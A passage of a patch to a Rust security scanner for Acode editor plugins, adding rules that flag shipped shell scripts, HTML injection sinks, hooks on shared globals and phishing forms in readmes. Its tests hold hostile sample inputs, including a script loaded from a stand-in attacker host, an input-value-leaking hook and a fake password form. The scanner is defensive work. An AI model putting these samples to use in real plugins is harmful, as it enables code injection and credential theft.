(H), `terminal_environment`, `process_control` (M/H), `script_file` (L; shipped `.sh` / `#!` scripts get the same command checks) | | Native | `plugin_context_bridge` (`cordova.exec` to `Tee`), `cordova_exec_dynamic` (C), `account_bridge` (`Authenticator`; C for `saveToken`, else H), `cordova_exec`, `manage_all_files`, `in_app_purchase` (H), `permission_request`, `launch_app`, `intent_access`, `purchase_read`, `cordova_require`, `cordova_plugin` (M), `file_intent`, `device_setting`, `os_integration` (L) | -| Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `self_modify` (writes scripts or `plugin.json` where code is loaded from; C when the content is downloaded or it rewrites the entry/manifest, else H), `acode_api`, `cordova_bridge`, `network_hook`, `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) | -| Dynamic code | `remote_code`, `remote_import` (C), `remote_script`, `remote_worker`, `decoded_exec`, `indirect_function_constructor` (H), `eval`, `function_constructor`, `inline_script`, `script_blob`, `html_script` (M), `string_timer`, `script_element`, `import_expression` (L) | +| Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `self_modify` (writes scripts or `plugin.json` where code is loaded from; C when the content is downloaded or it rewrites the entry/manifest, else H), `acode_api`, `cordova_bridge`, `network_hook`, `native_api` (hooks `system`, `Executor`, `sdcard`…), `dom_hook` (wraps `addEventListener`, `appendChild`, input `value`…), `ads`, `plugin_settings` (edits `pluginsDisabled`), `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) | +| Dynamic code | `remote_code`, `remote_import` (C), `remote_script`, `remote_worker`, `decoded_exec`, `indirect_function_constructor` (H), `eval`, `function_constructor`, `inline_script`, `script_blob`, `html_script`, `remote_html`, `decoded_html` (M: `innerHTML`, `insertAdjacentHTML`, `createContextualFragment`, `srcdoc`, `on*` attributes), `string_timer`, `script_element`, `import_expression`, `inline_handler` (L) | +| Acode API | `webview_remote_page` (M), `webview`, `webview_script`, `intent_module`, `intent_handler`, `require_dynamic` (L), `install_plugin` (M), `editor_hook`, `require_module`, `define_module`, `global_key_listener` (I) | | Network | `suspicious_endpoint` (H/M/L by host type), `remote_command`, `acode_account_write` (H: non-GET to `acode.app/api`, which Acode sends with the user's cookies), `acode_account_read` (M), `native_http`, `remote_storage`, `local_server`, `beacon` (M), `fetch`, `xhr`, `websocket`, `event_source`, `open_browser` (L) | | Filesystem / storage | `delete`, `sdcard_write`, `system_write`, `system_exec_bits`, `storage_access_request`, `cordova_file` (M), `write`, `sdcard_read`, `system_read`, `cookies`, `clipboard_read` (L), `read`, `module`, `plugin_dir`, `web_storage`, `indexeddb` (I) | | Obfuscation | `obfuscator_tool`, `packer`, `jsfuck`, `encoded_js_payload` (H), `js.parse_failed`, `js.too_large`, `js.invalid_utf8` (M), `escaped_strings`, `hex_array` (L) | @@ -143,7 +147,7 @@ Prefixes are omitted in the table; full IDs look like `shell.exec`. { "schema_version": 2, "scanner_version": "0.2.0", - "rules_version": "2026.10.2", // rescan stored plugins when this changes + "rules_version": "2026.10.3", // rescan stored plugins when this changes "plugin": { "id", "name", "version", "main", "entry", "permissions", "dependencies", ... }, "verdict": { "risk": "high", "recommendation": "review", "complete": true, "reasons": ["..."] }, "summary": { "total_findings", "by_severity", "by_category" }, @@ -163,7 +167,8 @@ Prefixes are omitted in the table; full IDs look like `shell.exec`. `diff --format json` returns `recommendation`, `reasons`, `new_findings`, `escalated`, `removed_findings`, `new_endpoints`, `new_required_modules`, -`new_defined_modules`, `new_permissions`, and `files` (added/removed/changed). +`new_defined_modules`, `new_permissions`, `new_arguments` (key and the +arguments it didn't have before), and `files` (added/removed/changed). ## Using it on acode.app diff --git a/src/analysis.rs b/src/analysis.rs index 8a0ec72..0482a65 100644 --- a/src/analysis.rs +++ b/src/analysis.rs @@ -148,6 +148,19 @@ pub fn scan_archive(archive: &PluginArchive, options: ScanOptions, report: &mut } if !options.entry_only { + for file in archive.installed_files() { + if file_is_script(file) { + let source = String::from_utf8_lossy(&file.bytes); + let mut ctx = RuleContext::new(&file.path, &source, plugin_id.as_deref()); + rules::scan_shell_script(&mut ctx); + url_sources.extend( + std::mem::take(&mut ctx.facts.urls) + .into_iter() + .map(|url| (file.path.clone(), url)), + ); + report.findings.extend(ctx.findings); + } + } for file in archive.wasm_files() { wasm::analyze(&file.path, &file.bytes, false, report, &mut url_sources); } @@ -166,6 +179,13 @@ pub fn scan_archive(archive: &PluginArchive, options: ScanOptions, report: &mut report.refresh_summary(); } +fn file_is_script(file: &archive::ArchiveFile) -> bool { + matches!( + archive::file_kind(&file.path, &file.bytes), + "text" | "other" + ) && rules::is_shell_script(&file.path, &file.bytes) +} + fn analyse_endpoints(report: &mut Report, urls: &[(String, String)]) { let mut endpoints: BTreeMap = BTreeMap::new(); for (file, url) in urls { diff --git a/src/diff.rs b/src/diff.rs index 7a39544..107f309 100644 --- a/src/diff.rs +++ b/src/diff.rs @@ -27,9 +27,44 @@ pub struct DiffReport { pub new_required_modules: Vec, pub new_defined_modules: Vec, pub new_permissions: Vec, + /// High-risk capabilities the old version already had, now used with + /// new arguments (another shell command, native action, or script URL). + pub new_arguments: Vec, pub files: FileChanges, } +#[derive(Debug, Serialize)] +pub struct ArgumentChange { + pub key: String, + pub added: Vec, +} + +/// Rules whose evidence is the argument itself (a command, `Service.action`, +/// or URL) rather than a code snippet, so it survives rebuilds and a change +/// means the plugin does something new. +const ARGUMENT_RULES: &[&str] = &[ + "shell.exec", + "native.cordova_exec", + "dynamic.remote_script", + "wasm.remote_module", + "network.acode_account_write", +]; + +/// Every evidence string per stable key, across files. +fn arguments_by_key(report: &Report) -> BTreeMap<&str, BTreeSet<&str>> { + let mut map: BTreeMap<&str, BTreeSet<&str>> = BTreeMap::new(); + for finding in report + .findings + .iter() + .filter(|finding| ARGUMENT_RULES.contains(&finding.id.as_str())) + { + let entry = map.entry(finding.key.as_str()).or_default(); + entry.insert(finding.evidence.as_str()); + entry.extend(finding.all_evidence.iter().map(String::as_str)); + } + map +} + #[derive(Debug, Serialize)] pub struct VersionInfo { pub id: Option, @@ -186,6 +221,22 @@ pub fn diff(old: &Report, new: &Report) -> DiffReport { .collect(), }; + let old_arguments = arguments_by_key(old); + let new_arguments: Vec = arguments_by_key(new) + .into_iter() + .filter_map(|(key, arguments)| { + let before = old_arguments.get(key)?; + let added: Vec = arguments + .difference(before) + .map(|argument| argument.to_string()) + .collect(); + (!added.is_empty()).then(|| ArgumentChange { + key: key.to_string(), + added, + }) + }) + .collect(); + let mut reasons = Vec::new(); let (old_info, new_info) = (info(old), info(new)); if old_info.id.is_some() && old_info.id != new_info.id { @@ -218,6 +269,13 @@ pub fn diff(old: &Report, new: &Report) -> DiffReport { escalation.key )); } + for change in &new_arguments { + reasons.push(format!( + "New arguments for an existing capability [{}]: {}", + change.key, + crate::rules::shorten(&change.added.join(", "), 160) + )); + } if !new_permissions.is_empty() { reasons.push(format!( "New declared permissions: {}", @@ -254,6 +312,7 @@ pub fn diff(old: &Report, new: &Report) -> DiffReport { new_required_modules, new_defined_modules, new_permissions, + new_arguments, files, } } @@ -321,6 +380,13 @@ pub fn render_text(diff: &DiffReport, markdown: bool) -> String { } out.push(String::new()); } + if !diff.new_arguments.is_empty() { + out.push(heading("New arguments to existing capabilities")); + for change in &diff.new_arguments { + out.push(format!("- `{}`: {}", change.key, change.added.join(", "))); + } + out.push(String::new()); + } if !diff.new_endpoints.is_empty() { out.push(heading("New network hosts")); for endpoint in &diff.new_endpoints { @@ -396,6 +462,36 @@ mod tests { assert!(diff.new_findings.is_empty()); } + fn shell(command: &str) -> Finding { + Finding::new( + "shell.exec", + Severity::High, + Category::Shell, + "Runs shell", + command, + ) + .keyed("execute") + } + + #[test] + fn new_command_under_same_key_needs_review() { + let old = report(vec![shell("apk add git")], Recommendation::Review); + let new = report( + vec![shell("apk add git"), shell("sh /sdcard/.cache/u.sh")], + Recommendation::Review, + ); + let diff = diff(&old, &new); + assert_eq!(diff.recommendation, Recommendation::Review); + assert_eq!(diff.new_arguments.len(), 1); + assert_eq!(diff.new_arguments[0].added, vec!["sh /sdcard/.cache/u.sh"]); + + // Same commands, moved between chunks, stay quiet. + let mut moved = shell("apk add git"); + moved.file = Some("chunk.js".into()); + let diff = super::diff(&old, &report(vec![moved], Recommendation::Review)); + assert_eq!(diff.recommendation, Recommendation::Pass); + } + #[test] fn new_high_capability_needs_review() { let old = report(vec![], Recommendation::Pass); diff --git a/src/js.rs b/src/js.rs index 23b6cca..c995c18 100644 --- a/src/js.rs +++ b/src/js.rs @@ -450,6 +450,19 @@ impl<'s> Resolver<'s> { ), path: self.resolve(expr), is_object: matches!(expr.get_inner_expression(), Expression::ObjectExpression(_)), + object_keys: match expr.get_inner_expression() { + Expression::ObjectExpression(object) => object + .properties + .iter() + .filter_map(|property| match property { + ObjectPropertyKind::ObjectProperty(property) => { + property.key.static_name().map(|name| name.to_string()) + } + _ => None, + }) + .collect(), + _ => Vec::new(), + }, http_method: self.object_field(expr, "method"), fetch_url: self.fetch_url(expr), } @@ -963,9 +976,29 @@ impl<'a> Visit<'a> for Scanner<'_, '_, '_, '_> { .as_member_expression() .and_then(|member| self.resolver.member_path(member)), }; + let script_element = target + .as_deref() + .is_some_and(|target| target.starts_with("$element:script.")); if let Some(target) = target { self.classify_assignment(it.span, &target, &it.right); } + // HTML sinks are usually on local elements the resolver can't name, + // so they are matched by property alone. + if !script_element + && let Some(sink @ ("innerHTML" | "outerHTML" | "srcdoc")) = it + .left + .as_member_expression() + .and_then(|member| member.static_property_name()) + { + let html = self.resolver.arg_info(&it.right); + rules::classify_html_sink( + self.ctx, + it.span, + sink, + &html, + self.remote_callback_depth > 0, + ); + } walk::walk_assignment_expression(self, it); } @@ -1501,6 +1534,121 @@ mod tests { )); } + #[test] + fn detects_hooks_on_shared_globals() { + assert!(has( + "const real = Executor.execute; Executor.execute = (c, ...a) => { log(c); return real(c, ...a) }", + "tampering.native_api" + )); + assert!(has("window.system = proxy", "tampering.native_api")); + assert!(has( + "EventTarget.prototype.addEventListener = wrapped", + "tampering.dom_hook" + )); + assert!(has( + "Object.defineProperty(HTMLInputElement.prototype, 'value', { set(v) { leak(v) } })", + "tampering.dom_hook" + )); + assert!(has( + "document.head.appendChild = function (el) { return el }", + "tampering.dom_hook" + )); + assert!(has( + "window.adRewardedUnitId = 'ca-app-pub-x/y'", + "tampering.ads" + )); + assert!(has( + "const s = acode.require('settings'); s.value.pluginsDisabled['other.plugin'] = true", + "tampering.plugin_settings" + )); + // Polyfills for harmless members and the plugin's own objects are fine. + assert!( + !ids("if (!Element.prototype.matches) Element.prototype.matches = m") + .iter() + .any(|id| id.starts_with("tampering.")) + ); + // core-js `make-built-in`, present in most bundles. + assert!(!has( + "Function.prototype.toString = y(function(){ return s(this) }, 'toString')", + "tampering.dom_hook" + )); + assert!( + !ids("const sys = {}; sys.execute = f; this.system = 1") + .iter() + .any(|id| id.starts_with("tampering.")) + ); + } + + #[test] + fn detects_html_and_attribute_sinks() { + assert!(has( + "const s = document.createElement('script'); s.setAttribute('src', 'https://e.vil/x.js'); document.head.append(s)", + "dynamic.remote_script" + )); + assert!(has( + "fetch(u).then(r => r.text()).then(h => { document.createRange().createContextualFragment(h) })", + "dynamic.remote_code" + )); + assert!(has( + "fetch(u).then(r => r.text()).then(h => { frame.srcdoc = h })", + "dynamic.remote_code" + )); + assert!(has( + "fetch(u).then(r => r.text()).then(h => { el.innerHTML = h })", + "dynamic.remote_html" + )); + assert!(has( + "el.insertAdjacentHTML('beforeend', atob(p))", + "dynamic.decoded_html" + )); + assert!(has( + "el.setAttribute('onclick', atob(p))", + "dynamic.decoded_exec" + )); + assert!(has( + "el.innerHTML = ''", + "dynamic.inline_handler" + )); + // Plain markup and attributes are fine. + assert!( + !ids("el.innerHTML = '' + name + ''; el.setAttribute('class', c)") + .iter() + .any(|id| id.starts_with("dynamic.")) + ); + // A script element's own text is the existing inline-script rule. + assert!(!has( + "const s = document.createElement('script'); s.innerHTML = code", + "dynamic.remote_html" + )); + } + + #[test] + fn classifies_webview_and_plugin_settings() { + let webview = "const webview = acode.require('webview'); + async function open() { + const view = await webview.create({ mode: 'fullscreen' }); + await view.loadURL('https://login.example.net/'); + await view.evaluate('document.title'); + }"; + assert!(has(webview, "acode.webview")); + assert!(has(webview, "acode.webview_remote_page")); + assert!(has(webview, "acode.webview_script")); + // Same method names without the webview module are someone else's. + assert!(!has( + "page.loadURL('https://x.io')", + "acode.webview_remote_page" + )); + + assert!(has( + "const settings = acode.require('settings'); settings.update({ pluginsDisabled: { 'other.plugin': true } })", + "tampering.plugin_settings" + )); + assert!(!has( + "acode.require('settings').update({ fontSize: '14px' })", + "tampering.plugin_settings" + )); + } + #[test] fn checks_shell_commands() { assert!(has( diff --git a/src/manifest.rs b/src/manifest.rs index afe80fc..03aff52 100644 --- a/src/manifest.rs +++ b/src/manifest.rs @@ -1,11 +1,15 @@ //! plugin.json handling that mirrors Acode's installer and the acode.app //! publish checks (`server/apis/plugin.js`). +use std::sync::LazyLock; + +use regex::Regex; use serde_json::{Map, Value}; use crate::{ archive::{ArchiveFile, PluginArchive, extension, sanitize_zip_path}, report::{Finding, PluginSummary, Report}, + rules, severity::{Category, Severity}, }; @@ -282,18 +286,93 @@ fn validate_assets(object: &Map, archive: &PluginArchive, report: Some(_) => {} } - if asset(object, archive, "readme", "readme.md").is_none() - && archive.by_key("README.md").is_none() - { - report.push(manifest_finding( + let readme = + asset(object, archive, "readme", "readme.md").or_else(|| archive.by_key("README.md")); + match readme { + Some(file) => check_rendered_markdown(file, report), + None => report.push(manifest_finding( "manifest.missing_readme", Severity::Medium, "No readme found (checked `readme` and readme.md); acode.app rejects the upload", "add readme.md", - )); + )), + } + if let Some(file) = string_field(object, "changelogs").and_then(|path| archive.by_key(&path)) { + check_rendered_markdown(file, report); } } +static FORM_TAG: LazyLock = + LazyLock::new(|| Regex::new(r"(?i)]*>").expect("valid form pattern")); +static PASSWORD_INPUT: LazyLock = LazyLock::new(|| { + Regex::new(r#"(?i)]*\btype\s*=\s*["']?password"#).expect("valid input pattern") +}); +static FORM_ACTION: LazyLock = LazyLock::new(|| { + Regex::new(r#"(?i)\baction\s*=\s*["']?(https?:)?//([^"'\s/>]+)"#).expect("valid action pattern") +}); + +static CODE_SPAN: LazyLock = + LazyLock::new(|| Regex::new(r"(`+)[^`]*?(`+)").expect("valid code span pattern")); + +/// Drops fenced code blocks and inline code spans, which markdown-it renders +/// as escaped text, so documented `
` examples don't count. +fn strip_markdown_code(markdown: &str) -> String { + let mut out = String::with_capacity(markdown.len()); + let mut fence: Option<&str> = None; + for line in markdown.lines() { + let trimmed = line.trim_start(); + let marker = ["```", "~~~"] + .into_iter() + .find(|marker| trimmed.starts_with(marker)); + match (fence, marker) { + (None, Some(marker)) => fence = Some(marker), + (Some(open), Some(marker)) if open == marker => fence = None, + (None, None) => { + out.push_str(&CODE_SPAN.replace_all(line, "")); + out.push('\n'); + } + _ => {} + } + } + out +} + +/// The plugin page renders the readme and changelog as HTML through DOMPurify, +/// which keeps forms and inputs by default, so a readme can show a fake +/// sign-in form inside Acode. +fn check_rendered_markdown(file: &ArchiveFile, report: &mut Report) { + let text = strip_markdown_code(&String::from_utf8_lossy(&file.bytes)); + let Some(form) = FORM_TAG.find(&text) else { + return; + }; + let action_host = FORM_ACTION + .captures(form.as_str()) + .and_then(|captures| captures.get(2)) + .map(|host| host.as_str().to_ascii_lowercase()); + let (id, severity, message) = if PASSWORD_INPUT.is_match(&text) { + ( + "manifest.readme_password_form", + Severity::High, + "Readme or changelog renders a password form on the plugin page (phishing)", + ) + } else { + ( + "manifest.readme_form", + Severity::Medium, + "Readme or changelog renders an HTML form on the plugin page", + ) + }; + let evidence = match &action_host { + Some(host) => format!("{}: form posts to {host}", file.path), + None => format!("{}: {}", file.path, rules::shorten(form.as_str(), 120)), + }; + report.push( + Finding::new(id, severity, Category::Manifest, message, evidence) + .with_file(file.path.clone()) + .keyed(&file.path), + ); +} + fn asset<'a>( object: &Map, archive: &'a PluginArchive, @@ -472,6 +551,46 @@ mod tests { assert_eq!(manifest.unwrap().entry.as_deref(), Some("main.js")); } + #[test] + fn flags_forms_in_rendered_readme() { + let json = manifest_with_main("main.js"); + let phishing = b"# Setup\n"; + let (_, report) = load_zip(&[ + ("plugin.json", &json), + ("main.js", b""), + ICON, + ("readme.md", phishing), + ]); + assert!(report.has("manifest.readme_password_form")); + assert!( + report + .findings + .iter() + .any(|finding| finding.evidence.contains("acode-login.example")) + ); + + let json = br#"{"id":"com.example.ok","name":"Ok","main":"main.js","version":"1.0.0","changelogs":"CHANGELOG.md"}"#; + let (_, report) = load_zip(&[ + ("plugin.json", json), + ("main.js", b""), + ICON, + README, + ("CHANGELOG.md", b"
"), + ]); + assert!(report.has("manifest.readme_form")); + + let (_, report) = load_zip(&[ + ("plugin.json", &manifest_with_main("main.js")), + ("main.js", b""), + ICON, + ( + "readme.md", + b"Use `
` tags in **HTML** files.\n\n```html\n\n```", + ), + ]); + assert!(!report.has("manifest.readme_form")); + } + #[test] fn missing_entry_is_install_failure() { let (_, report) = load_zip(&[( diff --git a/src/report.rs b/src/report.rs index 6cf0619..2e74997 100644 --- a/src/report.rs +++ b/src/report.rs @@ -7,12 +7,14 @@ use crate::severity::{Category, Confidence, Severity}; /// Bumped whenever the JSON shape changes incompatibly. pub const SCHEMA_VERSION: u32 = 2; /// Bumped whenever rules or severities change, so stored reports can be rescanned. -pub const RULES_VERSION: &str = "2026.10.2"; +pub const RULES_VERSION: &str = "2026.10.3"; /// Upper bound on extra source locations kept per aggregated finding. const MAX_LOCATIONS: usize = 8; /// Upper bound on distinct evidence samples kept per aggregated finding. const MAX_EXAMPLES: usize = 6; +/// Upper bound on distinct evidence strings remembered for `diff`. +const MAX_EVIDENCE_SET: usize = 256; #[derive(Debug, Default, Serialize)] pub struct Report { @@ -124,6 +126,10 @@ pub struct Finding { pub examples: Vec, #[serde(skip_serializing_if = "Vec::is_empty")] pub locations: Vec, + /// Every distinct evidence string merged into this finding (bounded), so + /// `diff` can see new arguments beyond the few `examples` kept. + #[serde(skip)] + pub all_evidence: BTreeSet, } impl Finding { @@ -148,6 +154,7 @@ impl Finding { occurrences: 1, examples: Vec::new(), locations: Vec::new(), + all_evidence: BTreeSet::new(), } } @@ -249,6 +256,9 @@ impl Report { ); match groups.get_mut(&group_key) { Some(existing) => { + if existing.all_evidence.len() < MAX_EVIDENCE_SET { + existing.all_evidence.insert(finding.evidence.clone()); + } existing.occurrences += finding.occurrences; existing.severity = existing.severity.max(finding.severity); existing.confidence = existing.confidence.max(finding.confidence); @@ -266,6 +276,8 @@ impl Report { } } None => { + let mut finding = finding; + finding.all_evidence.insert(finding.evidence.clone()); order.push(group_key.clone()); groups.insert(group_key, finding); } diff --git a/src/rules.rs b/src/rules.rs index b22cd5c..fb38e09 100644 --- a/src/rules.rs +++ b/src/rules.rs @@ -212,6 +212,8 @@ pub struct Arg { pub path: Option, /// An object literal, e.g. fetch options. pub is_object: bool, + /// Static keys of an object literal. + pub object_keys: Vec, /// URL of a `fetch(url)` call passed as this argument, when partly known. pub fetch_url: Option, /// `method` of an options object literal, e.g. `fetch(url, { method: "POST" })`. @@ -313,6 +315,35 @@ pub fn classify_call(ctx: &mut RuleContext<'_>, call: &Call<'_>) { return; } + if let Some(receiver) = path.strip_suffix(".setAttribute") { + classify_set_attribute(ctx, call, receiver); + return; + } + if path.ends_with(".insertAdjacentHTML") { + if let Some(html) = call.arg(1) { + classify_html_sink( + ctx, + call.span, + "insertAdjacentHTML", + html, + call.in_remote_callback, + ); + } + return; + } + if path.ends_with(".createContextualFragment") { + if let Some(html) = call.arg(0) { + classify_html_sink( + ctx, + call.span, + "createContextualFragment", + html, + call.in_remote_callback, + ); + } + return; + } + match path { "eval" => classify_code_sink(ctx, call, "dynamic.eval", "eval"), "Function" => classify_code_sink( @@ -481,6 +512,27 @@ pub fn classify_call(ctx: &mut RuleContext<'_>, call: &Call<'_>) { "Direct Cordova file system access", call.arg_text(0).unwrap_or("resolveLocalFileSystemURL"), ), + "$module:settings.update" => { + if call + .arg(0) + .is_some_and(|arg| arg.object_keys.iter().any(|key| key == "pluginsDisabled")) + { + classify_tamper_target( + ctx, + call.span, + "$module:settings.value.pluginsDisabled", + "settings.update", + ); + } + } + "$module:webview.create" => ctx.add( + "acode.webview", + Severity::Low, + Category::AcodeApi, + span, + "Opens an in-app WebView (a separate page that can message the plugin)", + "webview.create", + ), "acode.require" => classify_require(ctx, call), "acode.define" => classify_define(ctx, call), "acode.installPlugin" => ctx.push( @@ -542,8 +594,17 @@ pub fn classify_call(ctx: &mut RuleContext<'_>, call: &Call<'_>) { | "Reflect.set" | "Reflect.defineProperty" | "Object.setPrototypeOf" => { - if let Some(target) = call.arg(0).and_then(|arg| arg.path.as_deref()) { - classify_tamper_target(ctx, call.span, target, path); + if let Some(object) = call.arg(0).and_then(|arg| arg.path.as_deref()) { + // defineProperty(obj, "name", …) and Reflect.set(obj, "name", …) + // patch `obj.name`, not `obj`. + let target = match (path, call.arg_value(1)) { + ( + "Object.defineProperty" | "Reflect.set" | "Reflect.defineProperty", + Some(property), + ) => format!("{object}.{property}"), + _ => object.to_string(), + }; + classify_tamper_target(ctx, call.span, &target, path); } } "navigator.clipboard.readText" @@ -591,6 +652,44 @@ fn classify_fallback(ctx: &mut RuleContext<'_>, call: &Call<'_>) { if !call.path.starts_with("$unknown.") { return; } + // WebView instances come back from an awaited `create`, so they are only + // recognised by method name in files that use the webview module. + if ctx + .facts + .required_modules + .iter() + .any(|name| name == "webview") + { + match method { + "loadURL" => { + let url = call.arg_text(0).unwrap_or_default(); + if is_remote_url(url) { + ctx.add( + "acode.webview_remote_page", + Severity::Medium, + Category::AcodeApi, + Some(call.span), + "Loads a remote page in an Acode WebView", + url, + ); + record_url(ctx, Some(url)); + } + return; + } + "evaluate" | "loadHTML" => { + ctx.add( + "acode.webview_script", + Severity::Low, + Category::AcodeApi, + Some(call.span), + "Runs script or HTML inside an Acode WebView", + method, + ); + return; + } + _ => {} + } + } let (id, severity) = match method { "readFile" | "lsDir" => ("filesystem.read", Severity::Info), // Not moveTo: canvas contexts have one too. @@ -612,6 +711,133 @@ fn classify_fallback(ctx: &mut RuleContext<'_>, call: &Call<'_>) { ); } +static INLINE_HANDLER: LazyLock = LazyLock::new(|| { + Regex::new(r#"(?i)[\s"'/]on[a-z]+\s*=|javascript:"#).expect("valid handler pattern") +}); + +/// HTML written into the page. Scripts inside `createContextualFragment` +/// output and `srcdoc` frames run; with `innerHTML` and friends only inline +/// event handlers do, which is still enough to run code. +pub fn classify_html_sink( + ctx: &mut RuleContext<'_>, + span: Span, + sink: &str, + html: &Arg, + in_remote_callback: bool, +) { + let runs_scripts = matches!(sink, "createContextualFragment" | "srcdoc"); + let remote = html.remote || (in_remote_callback && html.value.is_none()); + let (id, severity, message) = if remote && runs_scripts { + ( + "dynamic.remote_code", + Severity::Critical, + format!("Runs downloaded HTML, scripts included, through {sink}"), + ) + } else if remote { + ( + "dynamic.remote_html", + Severity::Medium, + format!("Inserts downloaded HTML with {sink}; inline event handlers in it run as code"), + ) + } else if html.decoded && runs_scripts { + ( + "dynamic.decoded_exec", + Severity::High, + format!("Runs decoded HTML, scripts included, through {sink}"), + ) + } else if html.decoded { + ( + "dynamic.decoded_html", + Severity::Medium, + format!("Inserts decoded HTML with {sink}"), + ) + } else if runs_scripts && html.text().is_some_and(contains_script_tag) { + ( + "dynamic.html_script", + Severity::Medium, + format!("Runs a